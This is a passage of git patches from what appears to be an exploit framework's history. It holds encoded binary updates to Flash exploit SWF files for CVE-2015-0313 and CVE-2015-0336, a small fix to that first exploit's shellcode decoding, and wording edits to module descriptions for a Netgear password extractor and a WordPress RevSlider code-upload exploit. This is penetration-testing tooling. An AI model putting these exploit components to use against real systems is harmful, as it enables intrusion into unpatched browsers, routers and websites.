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 diff --git a/external/source/exploits/CVE-2015-0313/Main.as b/external/source/exploits/CVE-2015-0313/Main.as index 58ed3d2bb5..b25008234d 100755 --- a/external/source/exploits/CVE-2015-0313/Main.as +++ b/external/source/exploits/CVE-2015-0313/Main.as @@ -39,7 +39,10 @@ public class Main extends Sprite private function mainThread():void { - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) payload = b64.toByteArray().toString() ba.length = 0x1000 @@ -204,4 +207,4 @@ public class Main extends Sprite return addr + i } } -} \ No newline at end of file +} From 95b5ff6beab8913caa0204e9712875dff9c0b82d Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 26 May 2015 17:00:10 -0500 Subject: [PATCH 35/55] Minor fixups on recent modules. Edited modules/auxiliary/admin/http/netgear_soap_password_extractor.rb first landed in #5301, @m-1-k-3's aux module to extract passwords from Netgear soap interfaces Edited modules/auxiliary/scanner/http/influxdb_enum.rb first landed in Edited modules/auxiliary/scanner/http/title.rb first landed in #5333, HTML Title Grabber Edited modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb first landed in #5401, multi-platform CVE-2015-0311 - Flash uncompress() UAF Edited modules/exploits/unix/webapp/wp_revslider_upload_execute.rb first landed in #5290, Wordpress RevSlider Module --- .../auxiliary/admin/http/netgear_soap_password_extractor.rb | 2 +- modules/auxiliary/scanner/http/influxdb_enum.rb | 4 ++-- modules/auxiliary/scanner/http/title.rb | 4 ++-- .../multi/browser/adobe_flash_uncompress_zlib_uaf.rb | 2 +- modules/exploits/unix/webapp/wp_revslider_upload_execute.rb | 6 +++--- 5 files changed, 9 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb index 445457777a..f97ae71ee2 100644 --- a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb +++ b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module exploits an authentication bypass vulnerability in different Netgear devices. It allows to extract the password for the remote management interface. This module has been - tested on a Netgear WNDR3700v4 - V1.0.1.42, but others devices are reported as vulnerable: + tested on a Netgear WNDR3700v4 - V1.0.1.42, but other devices are reported as vulnerable: NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88, NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas), NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz), diff --git a/modules/auxiliary/scanner/http/influxdb_enum.rb b/modules/auxiliary/scanner/http/influxdb_enum.rb index c42f044c57..4e13b6ad46 100644 --- a/modules/auxiliary/scanner/http/influxdb_enum.rb +++ b/modules/auxiliary/scanner/http/influxdb_enum.rb @@ -14,8 +14,8 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'InfluxDB Enum Utility', 'Description' => %q{ - This module enumerates databases on InfluxDB using the REST API - (using default authentication - root:root). + This module enumerates databases on InfluxDB using the REST API using the + default authentication of root:root. }, 'References' => [ diff --git a/modules/auxiliary/scanner/http/title.rb b/modules/auxiliary/scanner/http/title.rb index eda97d9e11..4b573346ae 100644 --- a/modules/auxiliary/scanner/http/title.rb +++ b/modules/auxiliary/scanner/http/title.rb @@ -15,8 +15,8 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'HTTP HTML Title Tag Content Grabber', 'Description' => %q{ - Generates a GET request to the webservers provided and returns the server header, - HTML title attribute and location header (if set). Useful for rapidly identifying + Generates a GET request to the provided webservers and returns the server header, + HTML title attribute and location header (if set). This is useful for rapidly identifying interesting web applications en mass. }, 'Author' => 'Stuart Morgan ', diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index 774ab5ab27..c862ba03d2 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free', 'Description' => %q{ - This module exploits an use after free vulnerability in Adobe Flash Player. The + This module exploits a use after free vulnerability in Adobe Flash Player. The vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying to uncompress() a malformed byte stream. This module has been tested successfully on: diff --git a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb index de36db95df..e5a4994653 100644 --- a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb +++ b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb @@ -16,9 +16,9 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'WordPress RevSlider File Upload and Execute Vulnerability', 'Description' => %q{ - This module exploits an arbitrary PHP code upload in the WordPress ThemePunch - Slider Revolution (RevSlider) plugin, versions 3.0.95 and prior. The - vulnerability allows for arbitrary file upload and remote code execution. + This module exploits an arbitrary PHP code upload vulnerability in the + WordPress ThemePunch Slider Revolution (RevSlider) plugin, versions 3.0.95 + and prior. The vulnerability allows for arbitrary file upload and remote code execution. }, 'Author' => [ From 19c7445d9d94ad64eec6d68200988c9761273e1e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 17:20:49 -0500 Subject: [PATCH 36/55] Fix CVE-2015-0336 --- data/exploits/CVE-2015-0336/msf.swf | Bin 18060 -> 18121 bytes external/source/exploits/CVE-2015-0336/Msf.as | 7 +++++-- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/data/exploits/CVE-2015-0336/msf.swf b/data/exploits/CVE-2015-0336/msf.swf index 4a080464a1976c24c6aadb2ed1fad6110bf9983e..97b6ffe99c8b2f00fb4196a19f6bd600601dfc99 100755 GIT binary patch delta 17980 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 